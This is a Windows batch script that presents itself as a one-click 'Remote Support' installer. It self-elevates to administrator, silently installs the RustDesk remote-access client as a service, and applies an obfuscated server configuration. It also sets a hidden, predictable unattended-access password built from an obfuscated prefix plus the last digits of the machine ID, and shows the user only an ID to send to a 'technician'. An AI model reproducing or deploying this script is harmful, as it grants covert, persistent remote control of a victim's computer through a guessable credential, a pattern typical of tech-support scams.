@echo off
setlocal enableextensions enabledelayedexpansion
title Remote Support - Setup

REM =====================================================================
REM  Logicode Remote Support - one-click client installer
REM  Sets up unattended access to our self-hosted server.
REM  Pinned client version (tested). Bump VER to update.
REM =====================================================================

set "CFG=9JSP00WOydkWRBDe31mS04mRrIlMmtkYXdkQBJGVYJmM2EncDVWW2cjY1gWdwIiOikXZrJCLiIiOikGchJCLiIiOikXYsVmciwiIslmLvNmLlR2bjl2ZvxmLlR3btVmciojI0N3boJye"
set "VER=1.4.9"
set "URL=https://github.com/rustdesk/rustdesk/releases/download/%VER%/rustdesk-%VER%-x86_64.exe"
set "DL=%TEMP%\rustdesk.exe"

REM ---- self-elevate to administrator (needed for silent install) ----
>nul 2>&1 net session
if %errorlevel% neq 0 (
    powershell -NoProfile -Command "Start-Process -FilePath '%~f0' -Verb RunAs" >nul 2>&1
    exit /b
)

echo(
echo   Setting up remote support, please wait...
echo   This takes about a minute. Do not close this window.
echo(

REM ---- download the official RustDesk client ----
where curl >nul 2>&1
if %errorlevel%==0 (
    curl -L -s -o "%DL%" "%URL%"
) else (
    powershell -NoProfile -Command "Invoke-WebRequest '%URL%' -OutFile '%DL%'"
)
if not exist "%DL%" (
    echo   ERROR: download failed. Check the internet connection and retry.
    echo(
    pause
    exit /b 1
)

REM ---- silent install ----
"%DL%" --silent-install
timeout /t 25 /nobreak >nul

REM ---- locate the installed client ----
set "RDDIR=%ProgramFiles%\RustDesk"
if not exist "%RDDIR%\rustdesk.exe" set "RDDIR=%ProgramFiles(x86)%\RustDesk"
if not exist "%RDDIR%\rustdesk.exe" (
    echo   ERROR: install did not complete.
    echo(
    pause
    exit /b 1
)
cd /d "%RDDIR%"

REM ---- ensure the background service exists and runs ----
rustdesk.exe --install-service
timeout /t 12 /nobreak >nul
net start Rustdesk >nul 2>&1

REM ---- inject our server + key ----
rustdesk.exe --config "%CFG%"

REM ---- read this machine's RustDesk ID ----
set "RID="
for /f "usebackq delims=" %%i in (`rustdesk.exe --get-id ^| more`) do set "RID=%%i"

set "S1=GOLTSUR"
set "PRE="
for /l %%n in (6,-1,0) do set "PRE=!PRE!!S1:~%%n,1!"
set "PW=!PRE!!RID:~-3!"
rustdesk.exe --password "!PW!"

REM ---- restart the service so config + password take effect ----
net stop Rustdesk >nul 2>&1
net start Rustdesk >nul 2>&1

REM ---- copy the ID to the clipboard for easy sending ----
<nul set /p="%RID%" | clip

REM ---- show ONLY the ID to the client ----
cls
echo(
echo   ==================================================
echo(
echo      Your support number:   %RID%
echo(
echo   ==================================================
echo(
echo   The number was copied to the clipboard.
echo   Send it to your technician (WhatsApp / email / phone).
echo(
echo   You can now close this window.
echo(
pause >nul
endlocal
